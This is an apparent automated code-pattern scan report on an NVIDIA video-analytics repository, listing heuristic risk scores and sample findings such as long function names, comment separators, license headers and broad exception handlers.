21.5

Adjusted Signal

21.5

Raw Pattern Score

100%

Time Factor

2026-10-31

Last Push

2.0K

Stars

Python

Language

2.1M

Lines of Code

6.7K

Files

33.9K

Pattern Hits

2026-10-31

Scan Date

0.11

HC Hit Rate

Risk Review · Payload v1

Use each vector to guide manual verification of the underlying findings.

Payload schema: 1.0.0 · Engine: 2.0.0 · Scoring: heuristic-density-v1 · Scan date: 2026-10-31.

Cognitive Ownership Risk 43.9/100 · MEDIUM

Can maintainers explain intent, assumptions, and trade-offs? 25029 finding(s).

Hallucinated Dependency & Supply Chain Risk 6.4/100 · LOW

Are imports declared and package/API names verified? 1737 finding(s).

Agent Over-Engineering Ratio 54.2/100 · HIGH

Are wrappers, guards, and repeated structures necessary? 22690 finding(s).

PR Review Velocity Impact 66.9/100 · HIGH

Which changes need focused human review? 33866 finding(s).

What These Metrics Mean

Adjusted Signal: Legacy pattern score normalized per 1,000 scanned lines and multiplied by the repository-level time factor. It is not an estimate of AI authorship.
Raw Pattern Score: Sum of severity- and context-weighted pattern findings before applying the time factor.
Time Factor: A coarse multiplier based on repository last-push metadata. It does not identify when individual code was written.
Pattern Hits: Count of configured pattern findings. Review each location and surrounding code before acting.
HC Hit Rate: High- and critical-severity findings per scanned file. Severity is a configured detector weight, not proof of a vulnerability or authorship.
Lines / Files: Scan coverage denominators used by the legacy normalized score.

Pattern-Signal History

This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.

Severity Breakdown

Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.

CRITICAL 61HIGH 680MEDIUM 4225LOW 28900

Directory Score Breakdown

This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.

Pattern Findings

The scanner identified 33866 distinct pattern matches across 26 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.

Hyper-Verbose Identifiers15491 hits · 14613 pts

Severity	File	Line	Snippet	Context
LOW	…postprocessing/data_conversion/convert_ground_truth.py	84	def bbox_to_translate_orient_scale(self, bbox_3d: Dict[str, Any], key: str, x: Optional[float] = None, y: Optional[f	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	279	def compare_dicts_with_tolerance(self, dict1: Dict[str, Any], dict2: Dict[str, Any], tolerance: float = 1e-6) -> boo	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	307	def find_best_bbox_by_clustering(self, bbox_3d_list: List[Dict[str, Any]], tolerance: float = 1e-6) -> int:	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	401	def find_best_bbox_with_outlier_detection(self, bbox_3d_list: List[Dict[str, Any]], tolerance: float = 1e-6) -> int:	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	600	def compare_lists_with_tolerance(self, list1: List[Any], list2: List[Any], tolerance: float = 1e-6) -> bool:	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	999	def generate_ground_truth_for_scene(	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	1342	def get_cam_params_from_calib_intr_extr(self, calibration: Dict[str, Any], idx: int) -> np.ndarray:	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	1361	def process_video_across_cameras(self, scene_dir: str, calibration_path: str, output_directory: str, max_frames: Opt	CODE
LOW	…ing/data_sanity_check/dataset_sanity_check_velocity.py	66	def find_frames_with_large_velocity(json_path: str, threshold: float = 5.0) -> None:	CODE
LOW	…ta_sanity_check/dataset_sanity_check_bbox_direction.py	438	def bbox_to_translate_orient_scale(bbox_3d: Dict[str, Any], key: str, x: Optional[float] = None, y: Optional[float] = No	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	114	def world_to_image_helper_from_calibration(corner: np.ndarray, rotation_vector: np.ndarray, translation_vector: np.ndarr	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	138	def get_cam_params_from_calib(sensor: Dict[str, Any]) -> Tuple[np.ndarray, np.ndarray, np.ndarray, np.ndarray]:	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	193	def compute_camera_projection_matrix(three_d_points: np.ndarray, two_d_points: np.ndarray) -> np.ndarray:	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	223	def compute_homography_matrix(proj_matrix: np.ndarray, platform_height: float = 0) -> np.ndarray:	CODE
LOW	tools/rtvi-cv-mv3dt-utils/generate_pub_sub_configs.py	48	def load_and_process_camera_matrices(cam_info_path):	CODE
LOW	deploy/docker/scripts/orchestrator_mcp_helper.py	38	def supported_hardware_profiles(config_path: str \| Path) -> tuple[str, ...]:	CODE
LOW	deploy/docker/scripts/orchestrator_mcp_helper.py	129	def resolve_openshell_gateway_container(sandbox_name: str) -> str \| None:	CODE
LOW⚡	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	320	def test_skips_a_subnet_that_is_not_an_address_range(self) -> None:	CODE
LOW⚡	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	330	def test_returns_empty_when_the_sandbox_is_absent(self) -> None:	CODE
LOW⚡	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	335	def test_returns_empty_when_docker_inspect_fails(self) -> None:	CODE
LOW⚡	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	344	def test_returns_empty_when_docker_stops_responding(self) -> None:	CODE
LOW⚡	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	354	def test_returns_empty_when_the_container_has_no_networks(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	51	def test_returns_every_index_and_uuid(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	61	def test_accepts_mig_uuids_as_devices_but_not_as_indices(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	72	def test_raises_when_nvidia_smi_is_missing(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	81	def test_raises_with_the_exit_code_and_stderr_when_the_command_fails(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	95	def test_reports_stdout_when_a_failure_writes_nothing_to_stderr(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	108	def test_reports_a_silent_failure_as_no_output(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	117	def test_raises_when_the_command_succeeds_without_listing_a_gpu(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	131	def test_accepts_an_index_or_uuid_from_a_cached_inventory(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	151	def test_accepts_a_blank_value_without_reading_the_host(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	157	def test_names_the_setting_the_known_ids_and_the_remedy_when_it_fails(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	170	def test_reads_the_host_once_when_no_inventory_is_cached(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	181	def test_propagates_a_host_inventory_failure(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	299	def test_returns_the_subnets_of_every_attached_network(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	367	def test_returns_existing_paths_without_openssl(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	383	def test_keeps_unexpired_existing_pair(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	403	def test_raises_when_existing_cert_is_expired(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	425	def test_generates_missing_pair_via_openssl(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	457	def test_errors_when_only_cert_exists(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	473	def test_errors_when_only_key_exists(self) -> None:	CODE
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	489	def test_requires_san_when_generating(self) -> None:	CODE
LOW⚡	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	224	def test_returns_only_the_profile_keys_in_file_order(self) -> None:	STRING
LOW⚡	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	230	def test_stops_at_the_next_sibling_block(self) -> None:	STRING
LOW⚡	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	235	def test_reads_the_checked_in_config(self) -> None:	STRING
LOW⚡	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	243	def test_raises_when_the_block_is_absent(self) -> None:	STRING
LOW⚡	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	249	def test_raises_when_the_block_declares_nothing(self) -> None:	STRING
LOW⚡	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	258	def test_raises_when_the_config_is_missing(self) -> None:	STRING
LOW⚡	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	264	def test_returns_first_matching_container_name(self) -> None:	STRING
LOW	…y/docker/scripts/tests/test_orchestrator_mcp_helper.py	275	def test_returns_none_when_no_containers(self) -> None:	STRING
LOW	deploy/docker/scripts/tests/test_pin_docker_version.py	102	def test_already_prepared_host_needs_no_sudo(tmp_path):	STRING
LOW	deploy/docker/scripts/tests/test_pin_docker_version.py	109	def test_only_missing_hold_is_applied(tmp_path):	STRING
LOW	deploy/docker/scripts/tests/test_pin_docker_version.py	124	def test_notebook_handoff_prepares_whole_host_and_rerun_needs_no_timestamp(	STRING
LOW	deploy/docker/scripts/tests/test_pin_docker_version.py	151	def test_cgroup_merge_preserves_config_and_privilege_check_is_once(tmp_path, terminal):	STRING
LOW	deploy/docker/scripts/tests/test_pin_docker_version.py	177	def test_root_only_config_is_not_mistaken_for_a_missing_file(tmp_path, sudo_ok):	STRING
LOW⚡	deploy/docker/scripts/tests/test_dashboard_relay.py	50	def test_hosts_are_split_and_upstream_parsed(self) -> None:	CODE
LOW⚡	deploy/docker/scripts/tests/test_dashboard_relay.py	57	def test_defaults_target_the_dashboard_forward(self) -> None:	CODE
LOW⚡	deploy/docker/scripts/tests/test_dashboard_relay.py	63	def test_a_bad_upstream_is_rejected(self) -> None:	CODE
LOW	deploy/docker/scripts/tests/test_dashboard_relay.py	87	def test_bytes_cross_the_relay_both_ways(self) -> None:	CODE
LOW	deploy/docker/scripts/tests/test_dashboard_relay.py	96	def test_a_client_half_close_still_receives_the_reply(self) -> None:	CODE
15431 more matches not shown…

Decorative Section Separators3669 hits · 12614 pts

Severity	File	Line	Snippet	Context
MEDIUM	tools/sdg-postprocessing/3rdParty_Licenses.md	249	#------------------------------------------------------------------------------	COMMENT
MEDIUM	tools/sdg-postprocessing/3rdParty_Licenses.md	255	#------------------------------------------------------------------------------	COMMENT
MEDIUM	…operations/warehouse-mv3dt-app/warehouse-mv3dt-app.yml	136	# ── ReID embedding service stack ────────────────────────────────────────────────	COMMENT
MEDIUM	…-mv3dt-app/deepstream/configs/ds-main-config-mv3dt.txt	16	# ============================================================================	COMMENT
MEDIUM	…-mv3dt-app/deepstream/configs/ds-main-config-mv3dt.txt	20	# ============================================================================	COMMENT
MEDIUM⚡	…operations/blueprint-configurator/blueprint_config.yml	16	# ========================================================================================================	COMMENT
MEDIUM⚡	…operations/blueprint-configurator/blueprint_config.yml	21	# ========================================================================================================	COMMENT
MEDIUM⚡	…operations/blueprint-configurator/blueprint_config.yml	23	# ========================================================================================================	COMMENT
MEDIUM⚡	…operations/blueprint-configurator/blueprint_config.yml	26	# ========================================================================================================	COMMENT
MEDIUM	…operations/blueprint-configurator/blueprint_config.yml	728	# ========================================================================================================	COMMENT
MEDIUM	…operations/blueprint-configurator/blueprint_config.yml	730	# ========================================================================================================	COMMENT
MEDIUM	…rehouse-operations/vlm-as-verifier/realtime-config.yml	18	# ── Rule 1 ──────────────────────────────────────────────────────────────	COMMENT
MEDIUM	…rehouse-operations/vlm-as-verifier/realtime-config.yml	23	# ── Required ────────────────────────────────────────────────────────	COMMENT
MEDIUM	…rehouse-operations/vlm-as-verifier/realtime-config.yml	38	# ── Rule 2 ──────────────────────────────────────────────────────────────	COMMENT
MEDIUM	…rehouse-operations/vlm-as-verifier/realtime-config.yml	56	# ── Rule 3 ──────────────────────────────────────────────────────────────	COMMENT
MEDIUM	…rehouse-operations/vlm-as-verifier/realtime-config.yml	74	# ── Rule 4 ──────────────────────────────────────────────────────────────	COMMENT
MEDIUM	…arehouse-operations/vlm-as-verifier/configs/config.yml	16	# ============================================================================	COMMENT
MEDIUM	…arehouse-operations/vlm-as-verifier/configs/config.yml	18	# ============================================================================	COMMENT
MEDIUM	…rofiles/smartcities/vlm-as-verifier/configs/config.yml	16	# ============================================================================	COMMENT
MEDIUM	…rofiles/smartcities/vlm-as-verifier/configs/config.yml	18	# ============================================================================	COMMENT
MEDIUM	…rofiles/smartcities/vlm-as-verifier/configs/config.yml	127	# ─ Precedence note ────────────────────────────────────────	COMMENT
MEDIUM	…erts/vlm-as-verifier/configs/EDGE-LOCAL-VLM-config.yml	16	# ============================================================================	COMMENT
MEDIUM	…erts/vlm-as-verifier/configs/EDGE-LOCAL-VLM-config.yml	18	# ============================================================================	COMMENT
MEDIUM	…/dev-profile-alerts/vlm-as-verifier/configs/config.yml	16	# ============================================================================	COMMENT
MEDIUM	…/dev-profile-alerts/vlm-as-verifier/configs/config.yml	18	# ============================================================================	COMMENT
MEDIUM	…/dev-profile-alerts/vlm-as-verifier/configs/config.yml	120	# ─ Precedence note ────────────────────────────────────────	COMMENT
MEDIUM	deploy/docker/scripts/vss_orchestrator_mcp_config.yml	49	# ------------------------------------------------------------------------------------------------------------------	COMMENT
MEDIUM	deploy/docker/services/rtvi/rtvi-cv/rtvi-cv.yaml	32	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	deploy/docker/services/rtvi/rtvi-cv/rtvi-cv.yaml	34	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	deploy/docker/services/rtvi/rtvi-cv/ds-start.sh	455	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	deploy/docker/services/rtvi/rtvi-cv/ds-start.sh	457	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	deploy/docker/services/rtvi/rtvi-cv/ds-start.sh	480	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	deploy/docker/services/rtvi/rtvi-cv/ds-start.sh	482	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	deploy/docker/services/rtvi/rtvi-cv/ds-start.sh	647	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	deploy/docker/services/rtvi/rtvi-cv/ds-start.sh	649	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	…ices/infra/elk/elasticsearch/configs/elasticsearch.yml	13	# --------------------------------------------------------------------------------	COMMENT
MEDIUM	…ocker/services/vios/scripts/user_additional_install.sh	185	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	…ocker/services/vios/scripts/user_additional_install.sh	272	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	…iles/warehouse-operations/warehouse-2d-app/values.yaml	549	# ── Rule 1 ──────────────────────────────────────────────────────────────	COMMENT
MEDIUM	…iles/warehouse-operations/warehouse-2d-app/values.yaml	554	# ── Required ────────────────────────────────────────────────────────	COMMENT
MEDIUM	…iles/warehouse-operations/warehouse-2d-app/values.yaml	569	# ── Rule 2 ──────────────────────────────────────────────────────────────	COMMENT
MEDIUM	…iles/warehouse-operations/warehouse-2d-app/values.yaml	587	# ── Rule 3 ──────────────────────────────────────────────────────────────	COMMENT
MEDIUM	…iles/warehouse-operations/warehouse-2d-app/values.yaml	605	# ── Rule 4 ──────────────────────────────────────────────────────────────	COMMENT
MEDIUM⚡	…loper-profiles/dev-profile-search/override-values.yaml	16	# =============================================================================	COMMENT
MEDIUM⚡	…loper-profiles/dev-profile-search/override-values.yaml	18	# =============================================================================	COMMENT
MEDIUM⚡	…loper-profiles/dev-profile-search/override-values.yaml	25	# =============================================================================	COMMENT
MEDIUM⚡	…loper-profiles/dev-profile-search/override-values.yaml	31	# ── Agent config: search profile wired to in-cluster services ───────────────	COMMENT
MEDIUM	…loper-profiles/dev-profile-search/override-values.yaml	45	# ── Kafka: override advertised host for external broker access (optional) ─────	COMMENT
MEDIUM	…loper-profiles/dev-profile-search/override-values.yaml	49	# ── rtvi (vss-rtvi-cv + vss-rtvi-embed + vss-rtvi-vlm): GPU / keys ─────────────	COMMENT
MEDIUM⚡	…/helm/developer-profiles/dev-profile-search/Chart.yaml	67	# =============================================================================	COMMENT
MEDIUM⚡	…/helm/developer-profiles/dev-profile-search/Chart.yaml	70	# =============================================================================	COMMENT
MEDIUM⚡	…/helm/developer-profiles/dev-profile-search/Chart.yaml	77	# ---------------------------------------------------------------------------	COMMENT
MEDIUM⚡	…/helm/developer-profiles/dev-profile-search/Chart.yaml	79	# ---------------------------------------------------------------------------	COMMENT
MEDIUM⚡	…/helm/developer-profiles/dev-profile-search/Chart.yaml	90	# ---------------------------------------------------------------------------	COMMENT
MEDIUM⚡	…/helm/developer-profiles/dev-profile-search/Chart.yaml	92	# ---------------------------------------------------------------------------	COMMENT
MEDIUM⚡	…/helm/developer-profiles/dev-profile-search/Chart.yaml	94	# ---------------------------------------------------------------------------	COMMENT
MEDIUM⚡	…/helm/developer-profiles/dev-profile-search/Chart.yaml	96	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	…/helm/developer-profiles/dev-profile-search/Chart.yaml	107	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	…/helm/developer-profiles/dev-profile-search/Chart.yaml	109	# ---------------------------------------------------------------------------	COMMENT
MEDIUM	…/helm/developer-profiles/dev-profile-search/Chart.yaml	120	# ---------------------------------------------------------------------------	COMMENT
3609 more matches not shown…

Over-Commented Block7247 hits · 6232 pts

Severity	File	Line	Snippet	Context
LOW	tools/message-broker-consumers/redis_to_file.py	1	#!/usr/bin/env python3	COMMENT
LOW	tools/message-broker-consumers/kafka_to_file.py	1	#!/usr/bin/env python3	COMMENT
LOW	tools/message-broker-consumers/base_consumer.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	tools/sdg-postprocessing/3rdParty_Licenses.md	1401	//	COMMENT
LOW	…ols/sdg-postprocessing/utils/export_xform_semantics.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	tools/sdg-postprocessing/semantic_labeling/box_check.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…s/sdg-postprocessing/semantic_labeling/remove_label.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…cessing/data_conversion/convert_npy_to_png_depthmap.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…postprocessing/data_conversion/convert_ground_truth.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…postprocessing/data_conversion/convert_ground_truth.py	1581	# List of specific primitive paths to exclude from processing	COMMENT
LOW	…data_conversion/convert_images_to_videos_no_bframes.sh	1	#!/bin/bash	COMMENT
LOW	…/data_conversion/convert_depth_rgb_to_h5_restarable.sh	1	#!/bin/bash	COMMENT
LOW	…ta_conversion/convert_single_camera_rgb_depth_to_h5.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…cessing/data_sanity_check/dataset_sanity_check_json.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…ing/data_sanity_check/dataset_sanity_check_velocity.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…ocessing/data_sanity_check/dataset_sanity_check_png.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…ta_sanity_check/dataset_sanity_check_bbox_direction.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…ta_sanity_check/dataset_sanity_check_bbox_direction.py	861	# Example: ["/World/SomeObject/", ...]	COMMENT
LOW	…ocessing/data_sanity_check/dataset_sanity_check_rgb.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…_sanity_check/dataset_sanity_check_instance_id_json.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…ssing/data_sanity_check/dataset_sanity_check_videos.sh	1	#!/bin/bash	COMMENT
LOW	…a_sanity_check/dataset_sanity_check_instance_id_png.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…ocessing/data_sanity_check/dataset_sanity_check_npy.py	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	tools/rtvi-cv-mv3dt-utils/generate_pub_sub_configs.py	1	# SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	tools/rtvi-cv-mv3dt-utils/generate_cam_info_configs.py	1	# SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	deploy/docker/compose.yml	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	deploy/docker/industry-profiles/compose.yml	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…ker/industry-profiles/warehouse-operations/compose.yml	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…operations/warehouse-mv3dt-app/warehouse-mv3dt-app.yml	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…bana-dashboard/init-scripts/kibana-import-dashboard.sh	1	#!/bin/bash	COMMENT
LOW	…/import-calibration/init-scripts/calibration-import.sh	1	#!/bin/bash	COMMENT
LOW	…-mv3dt-app/deepstream/configs/ds-main-config-mv3dt.txt	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…house-mv3dt-app/deepstream/configs/ds-kafka-config.txt	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…house-mv3dt-app/deepstream/configs/ds-kafka-config.txt	21	#max.block.ms = 100	COMMENT
LOW	…house-mv3dt-app/deepstream/configs/ds-kafka-config.txt	41	#queue.buffering.backpressure.threshold = 1	COMMENT
LOW	…house-mv3dt-app/deepstream/configs/ds-redis-config.txt	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…3dt-app/deepstream/configs/ds-mv3dt-tracker-config.yml	1	# SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…ehouse-mv3dt-app/deepstream/configs/ds-pgie-config.yml	1	# SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…ehouse-mv3dt-app/deepstream/configs/ds-pgie-config.yml	21	topk: 50	COMMENT
LOW	…warehouse-mv3dt-app/deepstream/configs/config_mqtt.txt	1	[message-broker]	COMMENT
LOW	…se-mv3dt-app/deepstream/init-scripts/ds-start-mv3dt.sh	1	#!/bin/bash	COMMENT
LOW	…operations/blueprint-configurator/blueprint_config.yml	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…house-operations/warehouse-2d-app/warehouse-2d-app.yml	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…bana-dashboard/init-scripts/kibana-import-dashboard.sh	1	#!/bin/bash	COMMENT
LOW	…/import-calibration/init-scripts/calibration-import.sh	1	#!/bin/bash	COMMENT
LOW	…warehouse-2d-app/deepstream/configs/ds-main-config.txt	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…eepstream/configs/ds-nvdcf-accuracy-tracker-config.yml	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…arehouse-2d-app/deepstream/configs/ds-kafka-config.txt	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…arehouse-2d-app/deepstream/configs/ds-redis-config.txt	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…warehouse-2d-app/deepstream/configs/ds-pgie-config.yml	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…house-operations/warehouse-3d-app/warehouse-3d-app.yml	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…bana-dashboard/init-scripts/kibana-import-dashboard.sh	1	#!/bin/bash	COMMENT
LOW	…/import-calibration/init-scripts/calibration-import.sh	1	#!/bin/bash	COMMENT
LOW	…p/deepstream/configs/ds-mtmc-preprocess-ocr-config.txt	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…p/deepstream/configs/ds-mtmc-preprocess-ocr-config.txt	41	scaling-buf-pool-size=20	COMMENT
LOW	…warehouse-3d-app/deepstream/configs/ds-main-config.txt	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…warehouse-3d-app/deepstream/configs/ds-main-config.txt	121	#(0): Create payload using NvdsEventMsgMeta	COMMENT
LOW	…eepstream/configs/ds-nvdcf-accuracy-tracker-config.yml	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
LOW	…ations/warehouse-3d-app/deepstream/configs/config.yaml	1	# SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved.	COMMENT
7187 more matches not shown…

Excessive Try-Catch Wrapping2320 hits · 2251 pts

Severity	File	Line	Snippet	Context
LOW	tools/message-broker-consumers/base_consumer.py	146	except Exception as e:	CODE
LOW	tools/message-broker-consumers/base_consumer.py	173	except Exception as e:	CODE
LOW	tools/message-broker-consumers/base_consumer.py	256	except Exception as e:	CODE
LOW	tools/message-broker-consumers/base_consumer.py	268	except Exception as e:	CODE
LOW	tools/message-broker-consumers/base_consumer.py	370	except Exception as e:	CODE
LOW	tools/message-broker-consumers/base_consumer.py	382	except Exception as e:	CODE
MEDIUM	…postprocessing/data_conversion/convert_ground_truth.py	477	print(f"Error processing bbox {i}: {e}")	CODE
MEDIUM	…postprocessing/data_conversion/convert_ground_truth.py	1172	print(f"Error processing directory: {e}")	CODE
MEDIUM	…postprocessing/data_conversion/convert_ground_truth.py	1609	print(f"Error: Root directory '{root_directory}' does not exist.")	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	1171	except Exception as e:	CODE
LOW	…cessing/data_sanity_check/dataset_sanity_check_json.py	98	except Exception as e:	CODE
LOW⚡	…_sanity_check/dataset_sanity_check_instance_id_json.py	83	except Exception as e:	CODE
LOW⚡	…ocessing/data_sanity_check/dataset_sanity_check_npy.py	91	except Exception as e:	CODE
